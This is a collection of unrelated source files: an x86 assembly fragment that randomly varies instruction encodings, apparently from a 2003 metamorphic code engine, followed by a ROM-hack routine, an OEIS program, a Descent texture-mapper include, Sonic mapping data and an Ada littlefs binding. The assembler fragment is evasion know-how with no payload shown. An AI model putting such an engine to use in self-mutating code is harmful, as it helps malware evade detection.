@@Assemble_OP8RegReg_Normal:
call Random
and eax, 1
jz @@Assemble_OPRegReg_Inversed
@@Assemble_OPRegReg_NextFF:
mov ecx, [esi+1]
mov edx, [esi+7]
jmp @@Assemble_OPRegReg_Next00
@@Assemble_OPRegReg_Inversed:
add ebx, 2
@@Assemble_OPRegReg_Inversed_2:
mov ecx, [esi+7]
mov edx, [esi+1]
@@Assemble_OPRegReg_Next00:
mov [edi], ebx
mov eax, ecx
shl eax, 3
add eax, 0C0h
add eax, edx
mov [edi+1], eax
add edi, 2
ret
@@Assemble_OPRegMem:
cmp ebx, 38h
jbe @@Assemble_OPRegMem_Normal
cmp ebx, 40h
jz @@Assemble_MOVRegMem
@@Assemble_TESTRegMem:
mov ebx, 85h
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_MOVRegMem:
mov ebx, 88h
@@Assemble_OPRegMem_Normal:
add ebx, 3
@@Assemble_OPRegMem_Normal_00:
mov [edi], ebx
add edi, 1
mov ebx, [esi+7]
and ebx, 7
shl ebx, 3
call Asm_MakeMemoryAddress
ret
@@Assemble_OPMemReg:
cmp ebx, 38h
jbe @@Assemble_OPMemReg_Normal
cmp ebx, 40h
jnz @@Assemble_TESTRegMem
@@Assemble_MOVMemReg:
mov ebx, 88h
@@Assemble_OPMemReg_Normal:
add ebx, 1
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_INCDECReg:
call Random
and eax, 1
jz @@Assemble_INCDECReg_2
@@Assemble_INCDECReg_1:
mov eax, [esi+7]
add eax, 40h
@@Assemble_INCDECReg_Common:
add eax, [esi+1]
mov [edi], eax
add edi, 1
ret
@@Assemble_INCDECReg_2:
mov eax, 0FFh
@@Assemble_INCDECReg_2_8b:
mov [edi], eax
add edi, 1
mov eax, [esi+7]
add eax, 0C0h
jmp @@Assemble_INCDECReg_Common
@@Assemble_INCDECReg_8b:
mov eax, 0FEh
jmp @@Assemble_INCDECReg_2_8b
@@Assemble_INCDECMem:
mov eax, 0FFh
@@Assemble_INCDECMem_2_8b:
mov [edi], eax
add edi, 1
mov ebx, [esi+7]
call Asm_MakeMemoryAddress
ret
@@Assemble_INCDECMem_8b:
mov eax, 0FEh
jmp @@Assemble_INCDECMem_2_8b
@@Assemble_Next00:
cmp eax, 4Eh
jz @@Assemble_INCDECReg
cmp eax, 4Eh+80h
jz @@Assemble_INCDECReg_8b
cmp eax, 4Fh
jz @@Assemble_INCDECMem
cmp eax, 4Fh+80h
jz @@Assemble_INCDECMem_8b
@@Assemble_Next00_:
cmp eax, 00h+80h
jb @@Assemble_Next01
cmp eax, 4Ch+80h
ja @@Assemble_Next01
mov ebx, eax
and ebx, 78h
and eax, 7
or eax, eax
jz @@Assemble_OP8RegImm
cmp eax, 1
jz @@Assemble_OP8RegReg
cmp eax, 2
jz @@Assemble_OP8RegMem
cmp eax, 3
jz @@Assemble_OP8MemReg
@@Assemble_OP8MemImm:
cmp ebx, 38h
jbe @@Assemble_OP8MemImm_Normal
cmp ebx, 40h
jz @@Assemble_MOV8MemImm
@@Assemble_TEST8MemImm:
xor ebx, ebx
mov eax, 0F6h
call @@Assemble_OPMemImm_Normal_00
sub edi, 3
ret
@@Assemble_MOV8MemImm:
xor ebx, ebx
mov eax, 0C6h
call @@Assemble_OPMemImm_Normal_00
sub edi, 3
ret
@@Assemble_OP8MemImm_Normal:
call Random
and eax, 2
add eax, 80h
call @@Assemble_OPMemImm_Normal_00
sub edi, 3
ret
@@Assemble_OP8RegImm:
cmp ebx, 38h
jbe @@Assemble_OP8RegImm_Normal
cmp ebx, 40h
jz @@Assemble_MOV8RegImm
@@Assemble_TEST8RegImm:
mov eax, [esi+1]
and eax, 7
or eax, eax
jnz @@Assemble_TEST8RegImm_NotEAX
call Random
and eax, 1
jz @@Assemble_TEST8RegImm_NotEAX
mov eax, 0A8h
call @@Assemble_OPRegImm_OneByteOpcode
sub edi, 3
ret
@@Assemble_TEST8RegImm_NotEAX:
mov eax, 0F6h
xor ebx, ebx
call @@Assemble_OPRegImm_Normal_01
sub edi, 3
ret
@@Assemble_MOV8RegImm:
call Random
and eax, 1
jz @@Assemble_MOV8RegImm_OneByteOpcode
mov eax, 0C6h
xor ebx, ebx
call @@Assemble_OPRegImm_Normal_01
sub edi, 3
ret
@@Assemble_MOV8RegImm_OneByteOpcode:
mov eax, [esi+1]
add eax, 0B0h
call @@Assemble_OPRegImm_OneByteOpcode
sub edi, 3
ret
@@Assemble_OP8RegImm_Normal:
mov eax, [esi+1]
and eax, 7
or eax, eax
jnz @@Assemble_OP8RegImm_Normal_00
call Random
and eax, 1
jz @@Assemble_OP8RegImm_Normal_00
mov eax, ebx
add eax, 4
call @@Assemble_OPRegImm_OneByteOpcode
sub edi, 3
ret
@@Assemble_OP8RegImm_Normal_00:
call Random
and eax, 2
add eax, 80h
call @@Assemble_OPRegImm_Normal_01
sub edi, 3
ret
@@Assemble_OP8RegReg:
cmp ebx, 38h
jbe @@Assemble_OP8RegReg_Normal
cmp ebx, 40h
jz @@Assemble_MOV8RegReg
@@Assemble_TEST8RegReg:
mov ebx, 84h
jmp @@Assemble_TEST8RegReg_00
@@Assemble_MOV8RegReg:
mov ebx, 88h
jmp @@Assemble_OP8RegReg_Normal
@@Assemble_OP8RegMem:
cmp ebx, 38h
jbe @@Assemble_OP8RegMem_Normal
cmp ebx, 40h
jz @@Assemble_MOV8RegMem
@@Assemble_TEST8RegMem:
mov ebx, 84h
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_MOV8RegMem:
mov ebx, 88h
@@Assemble_OP8RegMem_Normal:
add ebx, 2
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_OP8MemReg:
cmp ebx, 38h
jbe @@Assemble_OPRegMem_Normal_00
cmp ebx, 40h
jnz @@Assemble_TEST8RegMem
@@Assemble_MOV8MemReg:
mov ebx, 88h
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_Next01:
cmp eax, 50h
jnz @@Assemble_Next02
call Random
and eax, 1
jz @@Assemble_PUSHReg_2
@@Assemble_PUSHReg_1:
mov eax, [esi]
and eax, 0FFh
mov ebx, [esi+1]
add eax, ebx
@@Assemble_StoreByte:
mov [edi], eax
add edi, 1
ret
@@Assemble_PUSHReg_2:
mov eax, 0FFh
mov [edi], eax
mov eax, [esi+1]
add eax, 0F0h
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next02:
cmp eax, 58h
jnz @@Assemble_Next03
call Random
and eax, 1
jz @@Assemble_PUSHReg_1
@@Assemble_POPReg_2:
mov eax, 8Fh
mov [edi], eax
mov eax, [esi+1]
add eax, 0C0h
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next03:
cmp eax, 51h
jnz @@Assemble_Next04
mov eax, 0FFh
mov ebx, 30h
@@Assemble_POPMem:
mov [edi], eax
add edi, 1
call Asm_MakeMemoryAddress
ret
@@Assemble_Next04:
cmp eax, 59h
jnz @@Assemble_Next05
mov eax, 8Fh
xor ebx, ebx
jmp @@Assemble_POPMem
@@Assemble_Next05:
cmp eax, 68h
jnz @@Assemble_Next06
mov [edi], eax
mov eax, [esi+7]
cmp eax, 7Fh
jbe @@Assemble_PUSHImm_Byte
cmp eax, 0FFFFFF80h
jae @@Assemble_PUSHImm_Byte
@@Assemble_PUSHImm_Dword:
mov [edi+1], eax
add edi, 5
ret
@@Assemble_PUSHImm_Byte:
push eax
call Random
and eax, 1
pop eax
or ebx, ebx
jz @@Assemble_PUSHImm_Dword
mov ebx, 6Ah
mov [edi], ebx
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next06:
cmp eax, 0E0h
jnz @@Assemble_Next07
mov ebx, 0D0h
@@Assemble_NEG32Reg:
mov eax, 0F7h
@@Assemble_Nxx8Reg:
mov [edi], eax
mov eax, [esi+1]
add eax, ebx
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next07:
cmp eax, 0E4h
jnz @@Assemble_Next08
mov ebx, 0D8h
jmp @@Assemble_NEG32Reg
@@Assemble_Next08:
cmp eax, 0E2h
jnz @@Assemble_Next09
mov ebx, 0D0h
@@Assemble_NEG8Reg:
mov eax, 0F6h
jmp @@Assemble_Nxx8Reg
@@Assemble_Next09:
cmp eax, 0E6h
jnz @@Assemble_Next10
mov ebx, 0D8h
jmp @@Assemble_NEG8Reg
@@Assemble_Next10:
cmp eax, 0E1h
jnz @@Assemble_Next11
mov ebx, 10h
@@Assemble_NEG32Mem:
mov eax, 0F7h
@@Assemble_Nxx8Mem:
mov [edi], eax
add edi, 1
call Asm_MakeMemoryAddress
ret
@@Assemble_Next11:
cmp eax, 0E5h
jnz @@Assemble_Next12
mov ebx, 18h
jmp @@Assemble_NEG32Mem
@@Assemble_Next12:
cmp eax, 0E3h
jnz @@Assemble_Next13
mov ebx, 10h
@@Assemble_NEG8Mem:
mov eax, 0F6h
jmp @@Assemble_Nxx8Mem
@@Assemble_Next13:
cmp eax, 0E7h
jnz @@Assemble_Next14
mov ebx, 18h
jmp @@Assemble_NEG8Mem
@@Assemble_Next14:
cmp eax, 0EAh
jnz @@Assemble_Next15
mov eax, 0FFh
mov ebx, 10h
jmp @@Assemble_Nxx8Mem
@@Assemble_Next15:
cmp eax, 0EBh
jnz @@Assemble_Next16
mov eax, 0FFh
mov ebx, 20h
jmp @@Assemble_Nxx8Mem
@@Assemble_Next16:
cmp eax, 0ECh
jnz @@Assemble_Next17
mov eax, 0FFh
mov ebx, 0D0h
jmp @@Assemble_Nxx8Reg
@@Assemble_Next17:
cmp eax, 0EDh
jnz @@Assemble_Next18
mov eax, 0FFh
mov ebx, 0E0h
jmp @@Assemble_Nxx8Reg
@@Assemble_Next18:
cmp eax, 0F0h
jnz @@Assemble_Next19
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 1
jz @@Assemble_SHIFT_1
@@Assemble_SHIFT_2:
mov ecx, 0C1h
mov edx, 0E0h
@@Assemble_SHIFT8_1_00:
call @@Assemble_SHIFT_x
mov ebx, [esi+7]
and ebx, 0FFh
call Random
and eax, edx
add eax, ebx
mov [edi], eax
add edi, 1
ret
@@Assemble_SHIFT_1:
call Random
and eax, 1
jz @@Assemble_SHIFT_2
mov ecx, 0D1h
@@Assemble_SHIFT_x:
mov [edi], ecx
add edi, 1
mov ebx, [esi+8]
and ebx, 8
add ebx, 0C0h
call Random
and eax, 20h
add ebx, eax
mov eax, [esi+1]
and eax, 7
add eax, ebx
mov [edi], eax
add edi, 1
ret
@@Assemble_Next19:
cmp eax, 0F2h
jnz @@Assemble_Next20
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 1
jz @@Assemble_SHIFT8_1
@@Assemble_SHIFT8_2:
mov ecx, 0C0h
xor edx, edx
jmp @@Assemble_SHIFT8_1_00
@@Assemble_SHIFT8_1:
call Random
and eax, 1
jz @@Assemble_SHIFT8_2
mov ecx, 0D0h
jmp @@Assemble_SHIFT_x
@@Assemble_Next20:
cmp eax, 0F1h
jnz @@Assemble_Next21
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 1
jz @@Assemble_SHIFTMem_1
@@Assemble_SHIFTMem_2:
mov ecx, 0C1h
mov edx, 0E0h
@@Assemble_SHIFT8Mem_1_00:
push edx
call @@Assemble_SHIFTMem_x
pop edx
mov ebx, [esi+7]
and ebx, 0FFh
call Random
and eax, edx
add eax, ebx
mov [edi], eax
add edi, 1
ret
@@Assemble_SHIFTMem_1:
call Random
or eax, eax
jz @@Assemble_SHIFTMem_2
mov ecx, 0D1h
@@Assemble_SHIFTMem_x:
mov [edi], ecx
add edi, 1
mov ebx, [esi+8]
and ebx, 8
call Random
and eax, 20h
add ebx, eax
call Asm_MakeMemoryAddress
ret
@@Assemble_Next21:
cmp eax, 0F3h
jnz @@Assemble_Next22
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 1
jz @@Assemble_SHIFT8Mem_1
@@Assemble_SHIFT8Mem_2:
mov ecx, 0C0h
xor edx, edx
jmp @@Assemble_SHIFT8Mem_1_00
@@Assemble_SHIFT8Mem_1:
call Random
and eax, 1
jz @@Assemble_SHIFT8Mem_2
mov ecx, 0D0h
jmp @@Assemble_SHIFTMem_x
@@Assemble_Next22:
cmp eax, 0FCh
jnz @@Assemble_Next23
mov eax, 8Dh
mov [edi], eax
add edi, 1
mov ebx, [esi+7]
and ebx, 7
shl ebx, 3
call Asm_MakeMemoryAddress
ret
@@Assemble_Next23:
cmp eax, 0FDh
jnz @@Assemble_Next24
mov eax, [esi+1]
jmp @@Assemble_StoreByte
@@Assemble_Next24:
cmp eax, 0FEh
jnz @@Assemble_Next25
mov eax, 0C3h
jmp @@Assemble_StoreByte
@@Assemble_Next25:
cmp eax, 0FFh
jnz @@Assemble_Next26
mov eax, 90h
jmp @@Assemble_StoreByte
@@Assemble_Next26:
cmp eax, 70h
jb @@Assemble_Next27
cmp eax, 7Fh
ja @@Assemble_Next27
mov eax, [esi+7]
or eax, eax
jz @@Assemble_Jump_Normal
mov eax, [esi]
xor eax, 1
mov [edi], eax
add edi, 1
push edi
add edi, 1
mov eax, 0E9h
mov [esi], al
call @@Assemble_Jump_Normal
pop ebx
mov eax, edi
sub eax, ebx
sub eax, 1
mov [ebx], al
ret
@@Assemble_Next27:
cmp eax, 0F8h
jnz @@Assemble_Next28
mov eax, 0B60Fh
mov [edi], eax
add edi, 2
mov ebx, [esi+7]
and ebx, 7
shl ebx, 3
call Asm_MakeMemoryAddress
ret
@@Assemble_Next28:
@@Assemble_Jump_Normal:
mov ebx, [esi+1]
mov eax, [ebx+4]
cmp eax, esi
jb @@Assemble_Jump_Backwards
@@Assemble_Jump_Fowards:
mov ebx, eax
sub ebx, esi
cmp ebx, 0B0h
jbe @@Assemble_JmpFwd_Short
@@Assemble_JmpFwd_Long_Set00:
mov eax, [esi]
and eax, 0FFh
cmp eax, 7Fh
jbe @@Assemble_JmpFwd_Long_Jcc
@@Assemble_JmpFwd_Long_Set:
mov [edi], eax
call Asm_AddToRelocTable
add edi, 5
ret
@@Assemble_JmpFwd_Long_Jcc:
mov eax, 0Fh
mov [edi], eax
add edi, 1
mov eax, [esi]
add eax, 10h
jmp @@Assemble_JmpFwd_Long_Set
@@Assemble_JmpFwd_Short:
call Random
and eax, 4
or eax, eax
jz @@Assemble_JmpFwd_Long_Set00
mov eax, [esi]
and eax, 0FFh
cmp eax, 0E8h
jz @@Assemble_JmpFwd_Long_Set
cmp eax, 0E9h
jz @@Assemble_JmpFwd_Short_JMP
@@Assemble_JmpFwd_Short_Set:
mov [edi], eax
call Asm_AddToRelocTable
add edi, 2
ret
@@Assemble_JmpFwd_Short_JMP:
add eax, 2
jmp @@Assemble_JmpFwd_Short_Set
@@Assemble_Jump_Backwards:
mov ebx, [eax+0Ch]
sub ebx, edi
sub ebx, 2
cmp ebx, 0FFFFFF80h
jb @@Assemble_Jump_Backwards_Long
mov eax, [esi]
cmp al, 0E8h
jz @@Assemble_Jump_Backwards_Long
call Random
and eax, 7
or eax, eax
jz @@Assemble_Jump_Backwards_Long
mov eax, [esi]
cmp al, 0E9h
jnz @@Assemble_Jump_StoreOpcode_Short
add eax, 2
@@Assemble_Jump_StoreOpcode_Short:
mov [edi], eax
add edi, 1
mov [edi], ebx
add edi, 1
ret
@@Assemble_Jump_Backwards_Long:
mov eax, [esi]
cmp al, 0E9h
jz @@Assemble_Jump_Backwards_JMP
cmp al, 0E8h
jz @@Assemble_Jump_Backwards_JMP
sub ebx, 4
mov eax, 0Fh
mov [edi], eax
add edi, 1
mov eax, [esi]
add eax, 10h
@@Assemble_Jump_Backwards_Long_Common:
mov [edi], eax
add edi, 1
mov [edi], ebx
add edi, 4
ret
@@Assemble_Jump_Backwards_JMP:
sub ebx, 3
jmp @@Assemble_Jump_Backwards_Long_Common
ret
AssembleInstruction endp
EndOfCode label dword
end PreMain
(c) Neurobasher/Germany, somewhere on April 2003
|
Engine Hacks/Strmag/Strmag/ASM/LoadMoreUnitData.asm | sme23/Christmas2 | 3 | 26997 | <reponame>sme23/Christmas2
.thumb
.org 0x00
.macro blh to, reg=r3
ldr \reg, =\to
mov lr, \reg
.short 0xF800
.endm
Init:
ldr r5, =0x30067A0
Player:
mov r0, #0x48
mov r2, #51
mul r2, r0 @Size of Copy
ldr r0, =0x1F78 @Dest
add r0, r6, r0
ldr r1, =0x202BE4C @Player Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
Enemy:
mov r0, #0x48
mov r2, #50
mul r2, r0 @Size of Copy
ldr r0, =0x1F78+(51*0x48) @Dest
add r0, r6, r0
ldr r1, =0x202CFBC @Enemy Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
NPC:
mov r0, #0x48
mov r2, #10
mul r2, r0 @Size of Copy
ldr r0, =0x1F78+(51*0x48)+(50*0x48) @Dest
add r0, r6, r0
ldr r1, =0x202DDCC @NPC Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
ldr r3, =0x80A5CB1
BXR3:
bx r3
.pool
|
programs/oeis/213/A213749.asm | neoneye/loda | 22 | 96063 | ; A213749: Antidiagonal sums of the convolution array A213747.
; 1,9,46,180,603,1827,5164,13878,35905,90189,221274,532584,1261687,2949255,6815896,15597738,35389629,79691985,178258150,396361980,876609811,1929380139,4227858756,9227469150,20065550713,43486544277,93952410034,202400334288,434865439215,932007903759,1992864825904,4252017623634,9053791060597,19241453486745,40819369181886,86449101734628,182793808118539,385928581350195,813638604555100,1713039116075910,3602000092595121,7564639999099869,15868151812064266,33249231623947320,69594687991710823,145522562959410327,303992974847509704,634444597505819898,1322932390540084525,2756202971950744929,5737585925270013334,11934539012531815884,24805826747556693507,51521179737118475835,106933469552285058676,221793274448742188718,459727449961980233449,952313162805255604005,1971495772877708330850,4079036283299024603040,8434773727703692478431,17432173149655526279199,36008044431881044756576,74340378617049493014690,153403123716968631240933,316398554352266229319977,652276870446369745144174,1344103560186772768950708,2768487350582329506531835,5699896344823661772933699,11730358343448198710823564,24131292727463887041989334,49622627001994231905520417,102003116029984336615836525,209597513975686333164686266,430528707510259814842240008,884027005593197584003894359,1814597655241558391233973415,3723491524413057858095025400,7637993328325227125793623370,15662842918927135587493219741,32109069768964550880196038129,65804250213263495237606575686,134819407403423445563232751260,276138000013095137569685901043,565429112943597440560174993227,1157473936731830557030681153444,2368798265172575156019474206718,4846535253802263776230071341145,9913423834597325241392186790069,20272506083337387381748058296594,41446232515274531603622679023984,84714712768377142971896868901327,173113535093667577641893531488815,353674517463676003017580194304656,722402385805062230177933739168498,1475228386015601965991788355261269,3011937826142273057956166815978425,6148105411106912597259010546078750,12547205641059014616014368326816900
mov $1,$0
add $0,2
seq $1,45618 ; Partial sums of A000337(n+4), n >= 0.
mul $0,$1
div $0,2
|
texmap/tmap_inc.asm | arbruijn/d1dos | 2 | 88107 | <gh_stars>1-10
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
;
; $Source: f:/miner/source/texmap/rcs/tmap_inc.asm $
; $Revision: 1.10 $
; $Author: john $
; $Date: 1995/02/20 18:22:52 $
;
; Mike's include file for the texture mapper library.
;
; $Log: tmap_inc.asm $
; Revision 1.10 1995/02/20 18:22:52 john
; Put all the externs in the assembly modules into tmap_inc.asm.
; Also, moved all the C versions of the inner loops into a new module,
; scanline.c.
;
; Revision 1.9 1994/12/02 23:29:45 mike
; Add y_pointers.
;
; Revision 1.8 1994/11/12 16:39:36 mike
; jae to ja.
;
; Revision 1.7 1994/10/26 23:27:39 john
; Took out references to gr_inverse_table.
;
; Revision 1.6 1994/10/26 23:21:55 mike
; kill unused stuff.
;
; Revision 1.5 1994/07/27 18:39:20 john
; Took out references to blend table
;
; Revision 1.4 1994/01/31 15:40:17 mike
; Add window_height.
;
; Revision 1.3 1993/12/07 12:27:48 john
; Moved bmd_palette to gr_palette
;
; Revision 1.2 1993/11/22 10:24:10 mike
; *** empty log message ***
;
; Revision 1.1 1993/09/08 17:29:47 mike
; Initial revision
;
;
;
; VESA in this file must be the same as VESA in tmap.h
VESA equ 0
direct_to_video equ 0
if VESA
; for vesa mode
WINDOW_LEFT = 0
WINDOW_RIGHT = 300
WINDOW_TOP = 0
WINDOW_BOTTOM = 200
WINDOW_WIDTH = WINDOW_RIGHT - WINDOW_LEFT
BYTES_PER_ROW = 300*2
else
; for non-vesa mode
WINDOW_LEFT = 58
WINDOW_RIGHT = 262
WINDOW_TOP = 34
WINDOW_BOTTOM = 167
WINDOW_WIDTH = WINDOW_RIGHT - WINDOW_LEFT
BYTES_PER_ROW = 320 ; number of bytes between rows
endif
; for vesa, 15 bit color, 640x480x2
SCREEN_WIDTH = 640
SCREEN_HEIGHT = 480
BYTES_PER_PIXEL = 2
extrn _gr_fade_table:byte
;NO_INVERSE_TABLE extrn _gr_inverse_table:byte
extrn _write_buffer:dword
extrn _window_left:dword,_window_right:dword,_window_top:dword,_window_bottom:dword,_window_width:dword,_bytes_per_row:dword,_window_height:dword
extrn _y_pointers:dword
_lighting_tables equ _gr_fade_table
;NO_INVERSE_TABLE _rgb_to_palette equ _gr_inverse_table
write_buffer equ _write_buffer
;NO_INVERSE_TABLE _pixel_average equ _gr_inverse_table ; should be blend table, but i took it out -john
max_window_width equ 320
num_iters = max_window_width
if num_iters and 1
num_iters = num_iters + 1
endif
extern _per2_flag:dword
extern _tmap_flat_cthru_table:dword
extern _tmap_flat_color:byte
extern _tmap_flat_shade_value:byte
extern _dither_intensity_lighting:dword
extern _Lighting_on:dword
extern _pixel_data_selector:word, _gr_fade_table_selector:word, _transparency_on:dword
extern _fx_u:dword
extern _fx_v:dword
extern _fx_z:dword
extern _fx_l:dword
extern _fx_du_dx:dword
extern _fx_dv_dx:dword
extern _fx_dz_dx:dword
extern _fx_dl_dx:dword
extern _fx_y:dword
extern _fx_xleft:dword
extern _fx_xright:dword
extern _pixptr:dword
|
Working Disassembly/Levels/Pachinko/Misc Object Data/Map - Triangle Bumper.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 5 | 102331 | <filename>Working Disassembly/Levels/Pachinko/Misc Object Data/Map - Triangle Bumper.asm
dc.w word_49C10-Map_PachinkoTriangleBumper
dc.w word_49C12-Map_PachinkoTriangleBumper
dc.w word_49C44-Map_PachinkoTriangleBumper
word_49C10: dc.w 0 ; DATA XREF: ROM:00049C0Ao
word_49C12: dc.w 8 ; DATA XREF: ROM:00049C0Ao
dc.b $C6, 6, 0, 0, 0, 3
dc.b $DE, 9, 0, 6, $FF, $FB
dc.b $EE, 6, 0, $C, $FF, $F3
dc.b 6, $B, 0, $12, $FF, $EB
dc.b $EE, 3, 0, $1E, 0, $B
dc.b $E, 2, 0, $22, 0, $B
dc.b $26, 9, 0, $25, $FF, $FB
dc.b $36, 0, 0, $2B, 0, $B
word_49C44: dc.w 4 ; DATA XREF: ROM:00049C0Ao
dc.b $E4, 5, 0, $2C, $FF, $FE
dc.b $F4, $B, 0, $30, $FF, $F6
dc.b $14, 9, 0, $3C, $FF, $F6
dc.b $24, 4, 0, $42, $FF, $FE
|
src/littlefs.ads | Fabien-Chouteau/littlefs-ada | 1 | 1423 | with Interfaces;
with Interfaces.C; use Interfaces.C;
with Interfaces.C.Extensions;
with System;
package Littlefs is
VERSION : constant := 16#00020003#;
-- Software library version
-- Major (top-nibble), incremented on backwards incompatible changes
-- Minor (bottom-nibble), incremented on feature additions
DISK_VERSION : constant := 16#00020000#;
-- Version of On-disk data structures
-- Major (top-nibble), incremented on backwards incompatible changes
-- Minor (bottom-nibble), incremented on feature additions
LFS_NAME_MAX : constant := 255;
-- Maximum name size in bytes, may be redefined to reduce the size of
-- the info struct. Limited to <= 1022. Stored in superblock and must
-- be respected by other littlefs drivers.
LFS_FILE_MAX : constant := 2147483647;
-- Maximum size of a file in bytes, may be redefined to limit to support
-- other drivers. Limited on disk to <= 4294967296. However, above
-- 2147483647 the functions lfs_file_seek, lfs_file_size, and lfs_file_tell
-- will return incorrect values due to using signed integers. Stored in
-- superblock and must be respected by other littlefs drivers.
LFS_ATTR_MAX : constant := 1022;
-- Maximum size of custom attributes in bytes, may be redefined, but there
-- is no real benefit to using a smaller LFS_ATTR_MAX. Limited to <= 1022.
-- Possible error codes, these are negative to allow valid positive return
-- values
-- Type definitions
subtype LFS_Size is Interfaces.Unsigned_32;
subtype LFS_Offset is Interfaces.Unsigned_32;
subtype LFS_Signed_Size is Interfaces.Integer_32;
subtype LFS_Signed_Offset is Interfaces.Integer_32;
subtype LFS_Block is Interfaces.Unsigned_32;
pragma Style_Checks (Off);
subtype LFS_Error is Interfaces.C.int;
LFS_ERR_OK : constant LFS_Error := 0; -- No error
LFS_ERR_IO : constant LFS_Error := -5; -- Error during device operation
LFS_ERR_CORRUPT : constant LFS_Error := -84; -- Corrupted
LFS_ERR_NOENT : constant LFS_Error := -2; -- No directory entry
LFS_ERR_EXIST : constant LFS_Error := -17; -- Entry already exists
LFS_ERR_NOTDIR : constant LFS_Error := -20; -- Entry is not a dir
LFS_ERR_ISDIR : constant LFS_Error := -21; -- Entry is a dir
LFS_ERR_NOTEMPTY : constant LFS_Error := -39; -- Dir is not empty
LFS_ERR_BADF : constant LFS_Error := -9; -- Bad file number
LFS_ERR_FBIG : constant LFS_Error := -27; -- File too large
LFS_ERR_INVAL : constant LFS_Error := -22; -- Invalid parameter
LFS_ERR_NOSPC : constant LFS_Error := -28; -- No space left on device
LFS_ERR_NOMEM : constant LFS_Error := -12; -- No more memory available
LFS_ERR_NOATTR : constant LFS_Error := -61; -- No data/attr available
LFS_ERR_NAMETOOLONG : constant LFS_Error := -36; -- File name too long
subtype LFS_Open_Flags is Interfaces.C.unsigned;
LFS_O_RDONLY : constant LFS_Open_Flags := 16#000001#; -- Open a file as read only
LFS_O_WRONLY : constant LFS_Open_Flags := 16#000002#; -- Open a file as write only
LFS_O_RDWR : constant LFS_Open_Flags := 16#000003#; -- Open a file as read and write
LFS_O_CREAT : constant LFS_Open_Flags := 16#000100#; -- Create a file if it does not exist
LFS_O_EXCL : constant LFS_Open_Flags := 16#000200#; -- Fail if a file already exists
LFS_O_TRUNC : constant LFS_Open_Flags := 16#000400#; -- Truncate the existing file to zero size
LFS_O_APPEND : constant LFS_Open_Flags := 16#000800#; -- Move to end of file on every write
pragma Style_Checks (On);
type LFS_Whence_Flags is
(LFS_SEEK_SET, -- Seek relative to an absolute position
LFS_SEEK_CUR, -- Seek relative to the current file position
LFS_SEEK_END) -- Seek relative to the end of the file
with Convention => C;
-- File info structure --
type Entry_Info is private;
type File_Kind is (Register, Directory);
function Kind (Info : Entry_Info) return File_Kind;
-- Type of the file, either LFS_TYPE_REG or LFS_TYPE_DIR
function Size (Info : Entry_Info) return LFS_Size;
-- Size of the file, only valid for REG files. Limited to 32-bits.
function Name (Info : Entry_Info) return String;
-- Name of the file. Limited to LFS_NAME_MAX, which can be changed by
-- redefining LFS_NAME_MAX to reduce RAM. LFS_NAME_MAX is stored in
-- superblock and must be respected by other littlefs drivers.
-- Custom attribute structure, used to describe custom attributes
-- committed atomically during file writes.
type lfs_attr is record
Id : aliased Interfaces.Unsigned_8;
-- 8-bit type of attribute, provided by user and used to identify the
-- attribute
Buffer : System.Address;
-- Pointer to buffer containing the attribute
Size : aliased LFS_Size;
-- Size of attribute in bytes, limited to LFS_ATTR_MAX
end record
with Convention => C_Pass_By_Copy;
-- Optional configuration provided during Opencfg
type lfs_file_config is record
Buffer : System.Address;
-- Optional statically allocated file buffer. Must be cache_size.
-- By default lfs_malloc is used to allocate this buffer.
Attrs : access lfs_attr;
-- Optional list of custom attributes related to the file. If the file
-- is opened with read access, these attributes will be read from disk
-- during the open call. If the file is opened with write access, the
-- attributes will be written to disk every file sync or close. This
-- write occurs atomically with update to the file's contents. Custom
-- attributes are uniquely identified by an 8-bit type and limited to
-- LFS_ATTR_MAX bytes. When read, if the stored attribute is smaller
-- than the buffer, it will be padded with zeros. If the stored
-- attribute is larger, then it will be silently truncated. If the
-- attribute is not found, it will be created implicitly.
Attr_Count : aliased LFS_Size;
-- Number of custom attributes in the list
end record
with Convention => C_Pass_By_Copy;
type LFS_T is private;
type LFS_File is private;
type LFS_Dir is private;
type LFS_Config;
--------------------------
-- Filesystem functions --
--------------------------
function Format (LFS : aliased in out LFS_T;
Config : aliased LFS_Config)
return int;
-- Format a block device with the littlefs
--
-- Requires a littlefs object and config struct. This clobbers the littlefs
-- object, and does not leave the filesystem mounted. The config struct
-- must be zeroed for defaults and backwards compatibility.
--
-- Returns a negative error code on failure.
function Mount (LFS : aliased in out LFS_T;
Config : aliased LFS_Config)
return int;
-- Mounts a littlefs
--
-- Requires a littlefs object and config struct. Multiple filesystems may
-- be mounted simultaneously with multiple littlefs objects. Both lfs and
-- config must be allocated while mounted. The config struct must be zeroed
-- for defaults and backwards compatibility.
--
-- Returns a negative error code on failure.
function Unmount (LFS : aliased in out LFS_T) return int;
